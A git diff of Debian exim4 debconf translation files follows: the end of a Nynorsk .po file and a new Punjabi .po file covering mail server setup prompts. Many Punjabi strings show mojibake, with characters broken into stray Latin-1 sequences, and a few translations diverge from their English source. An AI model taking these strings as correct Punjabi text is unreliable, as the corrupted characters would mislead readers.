+"Dette valet bør vere på dersom systemet brukar ei oppringttilkopling ved "
+"behov. Viss systemet har kontinuerleg internettilgang, bør dette slåast av."
+
+#. Type: title
+#. Description
+#: ../exim4-config.templates:12001
+msgid "Mail Server configuration"
+msgstr "Oppsett av e-posttenar"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid "Split configuration into small files?"
+msgstr "Del opp oppsettsfilene i små filer?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"The Debian exim4 packages can either use 'unsplit configuration', a single "
+"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', "
+"where the actual Exim configuration files are built from about 50 smaller "
+"files in /etc/exim4/conf.d/."
+msgstr ""
+"Debian exim4 pakkane kan anten bruka «samla oppsett» ei stor oppsettsfil (/"
+"etc/exim4/exim4.conf.template) eller «oppdelt oppsett» der rundt 50 små "
+"filer i /etc/exim4/conf.d/ vert brukt for å generera oppsettet."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"Unsplit configuration is better suited for large modifications and is "
+"generally more stable, whereas split configuration offers a comfortable way "
+"to make smaller modifications but is more fragile and might break if "
+"modified carelessly."
+msgstr ""
+"Samla oppsett passar betre for store endringar og er generelt meir stabilt, "
+"medan oppdelt oppsett tilbyr ein enkel måte å gjera små endringar, men er "
+"meir sårbart og kan lett bli øydelagt viss det vert endra mykje på."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"A more detailed discussion of split and unsplit configuration can be found "
+"in the Debian-specific README files in /usr/share/doc/exim4-base."
+msgstr ""
+"Oppdelt og samla oppsett vert drøfta meir inngåande i dei debianspesifikke "
+"README-filene i /usr/share/doc/exim4-base."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid "Hide local mail name in outgoing mail?"
+msgstr "Gøym lokalt e-postnamn i utgåande e-post?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid ""
+"The headers of outgoing mail can be rewritten to make it appear to have been "
+"generated on a different system. If this option is chosen, '${mailname}', "
+"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-"
+"Path are rewritten."
+msgstr ""
+"E-posthovuda i utgåande e-post kan omskrivast slik at det ser ut til at e-"
+"posten er laga på eit anna system. Viss dette er valt vil «${mailname}», "
+"«localhost» og «${dc_other_hostnames}» i Frå, Svar-til, Sendar og Retur-Stig "
+"bli omskrive."
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "mbox format in /var/mail/"
+msgstr "mbox format i /var/mail/"
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "Maildir format in home directory"
+msgstr "Maildir-format i heimekatalogen"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid "Delivery method for local mail:"
+msgstr "Leveringsmetode for lokal e-post:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Exim is able to store locally delivered email in different formats. The most "
+"commonly used ones are mbox and Maildir. mbox uses a single file for the "
+"complete mail folder stored in /var/mail/. With Maildir format every single "
+"message is stored in a separate file in ~/Maildir/."
+msgstr ""
+"Exim kan lagre e-post levert lokalt i forskjellige format. Dei mest brukte "
+"er mbox og Maildir. mbox brukar ei fil for heile e-postmappa lagra i /var/"
+"mail/. Med Maildir-format vert kvar melding ei eiga fil i ~/Maildir/."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Please note that most mail tools in Debian expect the local delivery method "
+"to be mbox in their default."
+msgstr ""
+"Merk at dei fleste e-postverktøya i Debian forventar i standardoppsetta sine "
+"at lokal leveringsmåte er mbox."
+
+#~ msgid "Move undelivered mails from exim 3 to exim4 spool?"
+#~ msgstr "Flytt ulevert e-post frå exim 3 til exim4 køen?"
+
+#~ msgid ""
+#~ "There are some undelivered mails in exim 3 (or exim-tls 3) spool "
+#~ "directory /var/spool/exim/input/."
+#~ msgstr ""
+#~ "Det finst ulevert e-post i exim 3 (eller exim-tls 3) kømappa /var/spool/"
+#~ "exim/input/."
+
+#~ msgid ""
+#~ "Choosing this option will move these messages to exim4's spool (/var/"
+#~ "spool/exim4/input/) where they will be handled by exim4."
+#~ msgstr ""
+#~ "Med dette valet på vil desse meldingane bli flytta til exim4 si kømappe (/"
+#~ "var/spool/exim4/input/) der dei vil bli handtert av exim4."
+
+#~ msgid ""
+#~ "This works only one-way: Exim4 can handle Exim 3 spool but not vice-"
+#~ "versa. If you reject this option, you need to move the messages yourself "
+#~ "or they will never be delivered."
+#~ msgstr ""
+#~ "Dette fungerer berre ein veg: Exim4 kan handtere exim 3-kø, men ikkje "
+#~ "andre vegen. Viss du seier nei no, må du flytte medlingane manuelt sjølv "
+#~ "seinare. Elles vil dei aldri bli levert."
+
+#~ msgid "Leaving this list blank will have Exim do no local deliveries."
+#~ msgstr "Viss denne lista er tom vil Exim ikkje levere lokal e-post."
diff --git a/debian/po/pa.po b/debian/po/pa.po
new file mode 100644
index 0000000..2234871
--- /dev/null
+++ b/debian/po/pa.po
@@ -0,0 +1,609 @@
+# translation of pa.po_[m1QbWa].po to Punjabi
+#
+# Translators, if you are not familiar with the PO format, gettext
+# documentation is worth reading, especially sections dedicated to
+# this format, e.g. by running:
+# info -n '(gettext)PO Files'
+# info -n '(gettext)Header Entry'
+# Some information specific to po-debconf are available at
+# /usr/share/doc/po-debconf/README-trans
+# or http://www.debian.org/intl/l10n/po-debconf/README-trans#
+# Developers do not need to manually edit POT or PO files.
+#
+# Amanpreet Singh Alam[ਆਲਮ] <amanpreetalam@yahoo.com>, 2005.
+# A S Alam <apbrar@gmail.com>, 2006.
+# A S Alam <aalam@users.sf.net>, 2007.
+msgid ""
+msgstr ""
+"Project-Id-Version: pa.po_[m1QbWa]\n"
+"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n"
+"POT-Creation-Date: 2007-07-18 08:29+0200\n"
+"PO-Revision-Date: 2007-07-18 08:59+0530\n"
+"Last-Translator: A S Alam <aalam@users.sf.net>\n"
+"Language-Team: Punjabi <punjabi-l10n@lists.sf.net>\n"
+"Language: pa\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Generator: KBabel 1.11.4\n"
+"Plural-Forms: nplurals=2; plural=(n != 1);\n"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid "Remove undelivered messages in spool directory?"
+msgstr "ਕੀ spool ਡਾਇਰੈਕਟਰੀ ਵਿੱਚੋਂ ਨਾ-ਭੇਜੇ ਪੱਤਰ ਹਟਾਉਣੇ ਹਨ?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"There are e-mail messages in the Exim spool directory /var/spool/exim4/"
+"input/ which have not yet been delivered. Removing Exim will cause them to "
+"remain undelivered until Exim is re-installed."
+msgstr ""
+"Exim ਸਪੂਲ ਡਾਇਰੈਕਟਰੀ /var/spool/exim4/input ਵਿੱਚ ਪੱਤਰ ਹਨ, ਜੋ ਕਿ ਅਜੇ ਤੱਕ ਭੇਜੇ ਨਹੀਂ ਗਠ"
+"ਹਨ। Exim ਨੂੰ ਹਟਾਉਣ ਨਾਲ ਉਹ ਬਿਨ-ਭੇਜੇ ਹੀ ਪਠਰਹਿਣਗੇ, ਜਦੋਂ ਤੱਕ ਕਿ Exim ਨੂੰ ਮà©à©œ ਇੰਸਟਾਲ ਨਹੀਂ "
+"ਕੀਤਾ ਜਾਂਦਾ ਹੈ।"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"If this option is not chosen, the spool directory is kept, allowing the "
+"messages in the queue to be delivered at a later date after Exim is re-"
+"installed."
+msgstr ""
+"ਜੇ ਇਹ ਚੋਣ ਨਾ ਕੀਤੀ ਗਈ ਤਾਂ, spool ਡਾਇਰੈਕਟਰੀ ਰੱਖੀ ਜਾਵੇਗੀ, Exim ਦੇ ਮà©à©œ-ਇੰਸਟਾਲ ਹੋਣ ਬਾਅਦ ਕਿਸੇ "
+"ਵੀ ਮਿਤੀ ਵਿੱਚ ਪੱਤਰ ਭੇਜਣ ਲਈ ਕਤਾਰ 'ਚ ਸà©à¨¨à©‡à¨¹à©‡ ਰੱਖੇ ਜਾਣਗੇ।"
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid "Reconfigure exim4-config instead of this package"
+msgstr "ਇਹ ਪੈਕੇਜ ਦੀ ਬਜਾਠexim4-config ਮà©à©œ-ਸੰਰਚਨਾ"
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid ""
+"Exim4 has its configuration factored out into a dedicated package, exim4-"
+"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'."
+msgstr ""
+"Exim4 ਦੀ ਸੰਰਚਨਾ ਨੂੰ ਇੱਕ ਸਮਰਪਿਤ ਪੈਕੇਜ ਵਿੱਚ ਵੰਡਿਆ ਗਿਆ ਹੈ, exim4-config। ਜੇ ਤà©à¨¸à©€à¨‚ Exim4 ਦੀ "
+"ਮà©à©œ ਸੰਰਚਨਾ ਕਰਨੀ ਚਾਹà©à©°à¨¦à©‡ ਹੋ ਤਾਂ 'dpkg-reconfigure exim4-config' ਵਰਤੋਂ।"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "internet site; mail is sent and received directly using SMTP"
+msgstr "ਇੰਟਰਨੈੱਟ ਸਾਇਟ; ਪੱਤਰ SMTP ਦੀ ਵਰਤੋਂ ਕਰਕੇ ਸਿੱਧ ਭੇਜੇ ਅਤੇ ਪà©à¨°à¨¾à¨ªà¨¤ ਕੀਤੇ ਜਾਣਗੇ"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; received via SMTP or fetchmail"
+msgstr "ਮੇਲ ਨੂੰ smarthost ਰਾਹੀਂ ਭੇਜਿਆ; ਪà©à¨°à¨¾à¨ªà¨¤ SMTP ਜਾਂ fetchamail ਰਾਹੀਂ ਕੀਤਾ ਜਾਵੇਗਾ"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; no local mail"
+msgstr "smarthost ਰਾਹੀਂ ਪੱਤਰ ਭੇਜਿਆ; ਕੋਈ ਲੋਕਲ ਮੇਲ ਨਹੀਂ"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "local delivery only; not on a network"
+msgstr "ਸਿਰਫ਼ ਲੋਕਲ ਡਿਲਵਰੀ; ਨੈੱਟਵਰਕ ਨਹੀਂ"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "no configuration at this time"
+msgstr "ਇਸ ਸਮੇਂ ਕੋਈ ਸੰਰਚਨਾ ਨਹੀਂ"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid "General type of mail configuration:"
+msgstr "ਪੱਤਰ ਸੰਰਚਨਾ ਲਈ ਸਧਾਰਨ ਕਿਸਮ"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Please select the mail server configuration type that best meets your needs."
+msgstr "ਮੇਲ ਸਰਵਰ ਕਿਸਮ ਦੀ ਚੋਣ ਕਰੋ; ਜੋ ਤà©à¨¹à¨¾à¨¡à©€ ਲੋੜ ਮà©à¨¤à¨¾à¨¬à¨• ਹੈ।"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Systems with dynamic IP addresses, including dialup systems, should "
+"generally be configured to send outgoing mail to another machine, called a "
+"'smarthost' for delivery because many receiving systems on the Internet "
+"block incoming mail from dynamic IP addresses as spam protection."
+msgstr ""
+"ਸਫ਼ਰੀ IP ਸਿਰਨਾਵਿਆਂ ਵਾਲੇ ਸਿਸਟਮਾਂ, ਜਿੰਨਾਂ ਵਿੱਚ ਡਾਇਲਅੱਪ ਸਿਸਟਮ ਹਨ, ਨੂੰ ਇੱਕ ਸਿਸਟਮ ਤੋਂ ਦੂਜੇ ਸਿਸਟਮ "
+"ਤੱਕ ਪੱਤਰ ਭੇਜਣ ਲਈ ਵਰਤਿਆ ਜਾਂਦਾ ਹੈ, ਜਿਸ ਨੂੰ ਡਿਲਵਰੀ ਲਈ 'smart host)' ਕਹਿੰਦੇ ਹਨ, ਕਿਉਂਕਿ ਸਪਮ "
+"ਸà©à¨°à©±à¨–ਿਆ ਲਲਈ ਡੈਨਮਿਕ IP ਸਿਰਨਾਵਾਂ ਤੋਂ ਆਉਣ ਵਾਲੇ ਪੱਤਰਾਂ ਨੂੰ ਲੈਣ ਵਾਲੇ ਕਈ ਸਿਸਟਮ ਇੰਟਰਨੈੱਟ ਉੱਤੇ ਪਾਬੰਦੀ "
+"ਅਧੀਨ ਆ ਜਾਂਦੇ ਹਨ।"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"A system with a dynamic IP address can receive its own mail, or local "
+"delivery can be disabled entirely (except mail for root and postmaster)."
+msgstr ""
+"ਇੱਕ ਡਾਇਅਨਾਮਿਕ IP ਸਿਰਨਾਂ ਵਾਲਾ ਇੱਕ ਸਿਸਟਮ ਆਪਣੇ ਮੇਲ ਜਾਂ ਲੋਕਲ ਡਿਲਵਰੀ ਹੀ ਲੈ ਸਕਦਾ ਹੈ, ਨੂੰ ਪੂਰੀ "
+"ਤਰਾਂ ਆਯੋਗ ਕੀਤਾ ਜਾ ਸਕਦਾ ਹੈ (root ਅਤੇ ਪੋਸਟ ਮਾਸਟਰ ਦੇ ਪੱਤਰਾਂ ਬਿਨਾਂ)।"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid "Really leave the mail system unconfigured?"
+msgstr "ਕੀ ਮੇਲ ਸਿਸਟਮ ਅਣ-ਸੰਰਚਿਤ ਹੀ ਰੱਖਣਾ ਹੈ?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid ""
+"Until the mail system is configured, it will be broken and cannot be used. "
+"Configuration at a later time can be done either by hand or by running 'dpkg-"
+"reconfigure exim4-config' as root."
+msgstr ""
+"ਜਦੋਂ ਤੱਕ ਤà©à¨¹à¨¾à¨¡à¨¾ ਮੇਲ ਸਿਸਟਮ ਸੰਰਚਿਤ ਨਹੀਂ ਹà©à©°à¨¦à¨¾ ਹੈ, ਇਹ ਬੇਕਾਰ ਹੀ ਰਹੇਗਾ ਅਤੇ ਵਰਤਿਆ ਨਹੀਂ ਜਾ ਸਕੇਗਾ। "
+"ਤà©à¨¸à©€à¨‚ ਸੰਰਚਨਾ ਨੂੰ ਬਾਅਦ ਵਿੱਚ ਦਸਤੀ ਜਾਂ root ਦੇ ਤੌਰ ਉੱਤੇ 'dpkg-reconfigure exim4-config'ਲਾ "
+"ਕੇ ਸੰਰਚਿਤ ਕਰ ਸਕਦੇ ਹੋ।"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid "System mail name:"
+msgstr "ਸਿਸਟਮ ਮੇਲ ਨਾਂ:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"The 'mail name' is the domain name used to 'qualify' mail addresses without "
+"a domain name."
+msgstr ""
+"'mail name' ਡੋਮੇਨ ਨਾਂ ਹà©à©°à¨¦à¨¾ ਹੈ, ਜੋ ਕਿ ਡੋਮੇਨ ਨਾਂ ਦੇ ਬਿਨਾਂ ਪੱਤਰ ਸਿਰਨਾਵੇਂ ਲਈ 'qualify' ਵਾਸਤੇ "
+"ਵਰਤਿਆ ਜਾਂਦਾ ਹੈ।"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name will also be used by other programs. It should be the single, "
+"fully qualified domain name (FQDN)."
+msgstr ""
+"ਇਹ ਨਾਂ ਹੋਰ ਪਰੋਗਰਾਮਾਂ ਵਲੋਂ ਵੀ ਵਰਤਿਆ ਜਾਵੇਗਾ, ਇਹ ਇੱਕਲਾ, ਪੂਰਾ ਡੋਮੇਨ ਨਾਂ (FQDN) ਹੋਣਾ ਚਾਹੀਦਾ ਹੈ।"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"Thus, if a mail address on the local host is foo@example.org, the correct "
+"value for this option would be example.org."
+msgstr "ਇਸਕਰਕੇ ਜੇ ਲੋਕਲ ਹੋਸਟ foo@domain.example ਹੈ ਤਾਂ ਇਹ ਚੋਣ ਲਈ ਸਹੀਂ ਮà©à©±à¨² example ਹੈ।"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name won't appear on From: lines of outgoing messages if rewriting is "
+"enabled."
+msgstr ""
+"ਇਹ ਨਾਂ ਬਾਹਰ ਭੇਜਣ ਜਾਣ ਵਾਲੇ ਪੱਤਰਾਂ ਵਿੱਚ ਵਲੋਂ: ਖੇਤਰ 'ਚ ਨਹੀਂ ਵੇਖਾਈ ਦੇਵੇਗਾ, ਜਦੋਂ ਤੱਕ ਤà©à¨¸à©€à¨‚ ਮà©à©œ-ਲਿਖਣ "
+"ਨੂੰ ਯੋਗ ਕੀਤਾ ਤਾਂ।"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid "Other destinations for which mail is accepted:"
+msgstr "ਹੋਰ ਟਿਕਾਣੇ, ਜਿਨà©à¨¹à¨¾à¨‚ ਲਈ ਪੱਤਰ ਸਵੀਕਾਰ ਕੀਤੇ ਜਾ ਸਕਦੇ ਹਨ:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"machine should consider itself the final destination. These domains are "
+"commonly called 'local domains'. The local hostname (${fqdn}) and "
+"'localhost' are always added to the list given here."
+msgstr ""
+"ਕਿਰਪਾ ਕਰਕੇ ਡੋਮੇਨਾਂ ਦੀ ਸੂਚੀ ਕਾਮਿਆਂ ਨਾਲ ਵੱਖ ਕਰਕੇ ਦਿਓ, ਜਿਸ ਲਈ ਇਹ ਮਸ਼ੀਨ ਖà©à¨¦ ਨੂੰ ਅੰਤਮ ਟਿਕਾਣਾ "
+"ਚà©à¨£à©‡à¥¤ ਇਹਨਾਂ ਡੋਮੇਨਾਂ ਨੂੰ 'local domains' ਕਹਿੰਦੇ ਹਨ।ਲੋਕਲ ਹੋਸਟ ਨਾਂ (${fqdn}) ਅਤੇ 'localhost' "
+"ਇੱਥੇ ਦਿੱਤੀ ਲਿਸਟ ਵਿੱਚ ਹਮੇਸ਼ਾਂ ਜੋੜੇ ਜਾਂਦੇ ਹਨ।"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"By default all local domains will be treated identically. If both a.example "
+"and b.example are local domains, acc@a.example and acc@b.example will be "
+"delivered to the same final destination. If different domain names should be "
+"treated differently, it is necessary to edit the config files afterwards."
+msgstr ""
+"ਮੂਲ ਰੂਪ ਵਿੱਚ ਸਭ ਡੋਮੇਨਾਂ ਨੂੰ ਇੱਕ ਵਾਂਗ ਹੀ ਮੰਨਿਆ ਜਾਂਦਾ ਹੈ। ਜੇ a.example ਅਤੇ b.example ਲੋਕਕਲ "
+"ਡੋਮੇਨਾਂ ਹਨ ਤਾਂ acc@a.example and acc@b.example ਨੂੰ ਇੱਕੋ ਥਾਂ ਭੇਜਿਆ ਜਾਵੇਗਾ। ਜੇਕਰ ਤà©à¨¸à©€à¨‚ ਵੱਖਰੀਆਂ "
+"ਡੋਮੇਨਾਂ ਨੂੰ ਵੱਖਰੇ ਢੰਗ ਨਾਲ ਮੰਨਣਾ ਚਾਹà©à©°à¨¦à©‡ ਹੋ ਤਾਂ ਤà©à¨¸à©€à¨‚ ਬਾਅਦ ਵਿੱਚ ਸੰਰਚਨਾ ਫਾਇਲਾਂ ਵਿੱਚ ਸੋਧ ਸਕਦੇ ਹੋ।"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Domains to relay mail for:"
+msgstr "ਇਸ ਲਈ ਰੀਲੇਅ ਪੱਤਰ ਕਰਨ ਲਈ ਡੋਮੇਨ:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"system will relay mail, for example as a fallback MX or mail gateway. This "
+"means that this system will accept mail for these domains from anywhere on "
+"the Internet and deliver them according to local delivery rules."
+msgstr ""
+"ਪà©à¨°à¨¾à¨ªà¨¤à©€ ਡੋਮੇਨਾਂ ਦੀ ਅਰਧ-ਵਿਰਾਮ ਨਾਲ ਵੱਖ ਕੀਤੀ ਸੂਚੀ ਦਿਓ, ਜਿਸ ਲਈ ਇਹ ਸਿਸਟਮ ਮੇਲ ਰੀਲੇਅ ਕਰੇਗਾ, "
+"ਜਿਵੇਂ ਕਿ ਫਾਲਬੈਕ MX ਜਾਂ ਮੇਲ ਗੇਟਵੇ। ਇਸ ਦਾ ਮਤਲਬ ਹੈ ਕਿ ਇਹ ਸਿਸਟਮ ਇਹਨਾਂ ਡੋਮੇਨਾਂ ਲਈ ਇੰਟਰਨੈੱਟ ਤੋਂ ਕਿਤੋਂ "
+"ਵੀ ਮੇਲ ਲਵੇਗਾ ਅਤੇ ਲੋਕਲ ਡਿਲਵਰੀ ਨਿਯਮਾਂ ਮà©à¨¤à¨¾à¨¬à¨• ਡਿਲਵਰ ਕਰੇਗਾ।"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Do not mention local domains here. Wildcards may be used."
+msgstr "ਲੋਕਲ ਡੋਮੇਨ ਇੱਥੇ ਨਾ ਦਿਓ, ਵਾਲਿਡ ਕਾਰਡ ਵਰਤੇ ਜਾ ਸਕਦੇ ਹਨ।"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid "Machines to relay mail for:"
+msgstr "ਇਸ ਲਈ ਰੀਲੇਅ ਪੱਤਰ ਲਈ ਮਸ਼ੀਨਾਂ:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"Please enter a semicolon-separated list of IP address ranges for which this "
+"system will unconditionally relay mail, functioning as a smarthost."
+msgstr ""
+"IP ਸਿਰਨਾਵਿਆਂ ਦੀ ਸੀਮਾ ਕਾਮਿਆਂ ਨਾਲ ਵੱਖ ਕਰਕੇ ਦਿਓ, ਜਿਸ ਲਈ ਸਿਸਟਮ ਬਿਨ-ਸ਼ਰਤ ਰੀਲੇਅ ਮੇਲ "
+"(smarthost ਵਾਂਗ) ਕੰਮ ਕਰੇਗਾ।"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or "
+"5f03:1200:836f::/48)."
+msgstr ""
+"ਜੇਕਰ ਕੋਈ ਵੀ ਹੈ ਤਾਂ ਕਾਮਿਆਂ ਨਾਲ ਵੱਖ ਕਰਕੇ ਇੱਥੇ ਦਿਓ। ਤà©à¨¹à¨¾à¨¨à©‚à©° ਇੱਕ ਮਿਆਰੀ ਸਿਰਨਾਵਾਂ/ਲੰਬਾਈ ਫਾਰਮੈਟ "
+"ਵਰਤਣਾ ਪਵੇਗਾ (ਜਿਵੇਂ ਕਿ 192.222.242.0/24 ਜਾਂ 5f03:1200:836f::/48)।"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"If this system should not be a smarthost for any other host, leave this list "
+"blank."
+msgstr "ਜੇ ਇਹ ਸਿਸਟਮ ਕਿਸੇ ਹੋਰ ਸਿਸਟਮ ਲਈ smarthost ਨਹੀਂ ਹੋਵੇਗਾ ਤਾਂ ਇਹ ਸੂਚੀ ਖਾਲੀ ਰਹਿਣ ਦਿਓ।"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid "Visible domain name for local users:"
+msgstr "ਲੋਕਲ ਉਪਭੋਗੀਆਂ ਲਈ ਉਪਲੱਬਧ ਡੋਮੇਨ ਨਾਂ:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid ""
+"The option to hide the local mail name in outgoing mail was enabled. It is "
+"therefore necessary to specify the domain name this system should use for "
+"the domain part of local users' sender addresses."
+msgstr ""
+"ਬਾਹਰੀ ਮੇਲ ਵਿੱਚ ਲੋਕਲ ਮੇਲ ਨਾਂ ਓਹਲੇ ਕਰਨ ਲਈ ਚੋਣ ਯੋਗ ਹੈ। ਇਸ ਕਰਕੇ ਇਹ ਵਲੋਂ ਲੋਕਲ ਯੂਜ਼ਰ ਦੇ ਭੇਜਣ ਵਾਲੇ "
+"ਸਿਰਨਾਵੇਂ ਦੇ ਡੋਮੇਨ ਭਾਗ ਵਜੋਂ ਵਰਤਣ ਲਈ ਡੋਮੇਨ ਨਾਂ ਦੇਣਾ ਲਾਜ਼ਮੀ ਹੈ।"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid "IP address or host name of the outgoing smarthost:"
+msgstr "ਬਾਹਰੀ smarthost ਦਾ IP ਸਿਰਨਾਵਾਂ ਜਾਂ ਹੋਸਟ ਨਾਂ ਦਿਓ:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"Please enter the IP address or the host name of a mail server that this "
+"system should use as outgoing smarthost. If the smarthost only accepts your "
+"mail on a port different from TCP/25, append two colons and the port number "
+"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in "
+"IPv6 addresses need to be doubled."
+msgstr ""
+"ਮੇਲ ਸਰਵਰ ਲਈ IP ਸਿਰਨਾਵਾਂ ਦਿਓ ਜਾਂ ਹੋਸਟ ਨਾਂ ਦਿਓ, ਜਿਸ ਲਈ ਇਹ ਸਿਸਟਮ ਬਾਹਰੀ smarthost ਵਾਂਗ "
+"ਵਰਤਿਆ ਜਾਵੇਗਾ। ਜੇ smarthost ਤà©à¨¹à¨¾à¨¡à©‡ ਮੇਲ TCP/25 ਪੋਰਟ ਤੋਂ ਬਿਨਾਂ ਹੋਰ ਉੱਤੇ ਸਵੀਕਾਰ ਕਰੇ ਤਾਂ ਦੋ ਕਾਲਨ "
+"ਅਤੇ ਪੋਰਟ ਨੰਬਰ ਜੋੜ ਦਿਓ (ਜਿਵੇਂ ਕਿ smarthost.example::587 ਜਾਂ 192.168.254.254::2525) "
+"IPv6 ਸਿਰਨਾਵੇਂ ਲਈ ਦੋ ਕਾਲਨਾਂ ਦੀ ਲੋੜ ਹੈ।"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"If the smarthost requires authentication, please refer to the Debian-"
+"specific README files in /usr/share/doc/exim4-base for notes about setting "
+"up SMTP authentication."
+msgstr ""
+"smarthost ਲਈ ਲੋੜੀਦੀ ਪਰਮਾਣਿਕਤਾ ਲਈ SMTP ਪਰਮਾਣਕਿਤਾ ਬਾਰੇ ਜਾਣਕਾਰੀ ਲਈ /usr/share/doc/"
+"exim4-base ਵਿੱਚ ਮੌਜੂਦ ਡੇਬੀਅਨ ਖਾਸ README ਫਾਇਲਾਂ ਨੂੰ ਵੇਖੋ।"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Root and postmaster mail recipient:"
+msgstr "ਰੂਟ (Root) ਅਤੇ ਪੋਸਟਮਾਸਟਰ ਮੇਲ ਸਨੇਹੀ:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Mail for the 'postmaster', 'root', and other system accounts needs to be "
+"redirected to the user account of the actual system administrator."
+msgstr ""
+"'postmaster', 'root', ਅਤੇ ਹੋਰ ਸਿਸਟਮ ਖਾਤਿਆਂ ਲਈ ਪੱਤਰਾਂ ਨੂੰ ਅਸਲ ਸਿਸਟਮ ਪਰਸ਼ਾਸ਼ਕ ਦੇ ਉਪਭੋਗੀ "
+"ਖਾਤੇ ਵੱਲ ਭੇਜਣਾ ਪਵੇਗਾ।"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"If this value is left empty, such mail will be saved in /var/mail/mail, "
+"which is not recommended."
+msgstr ""
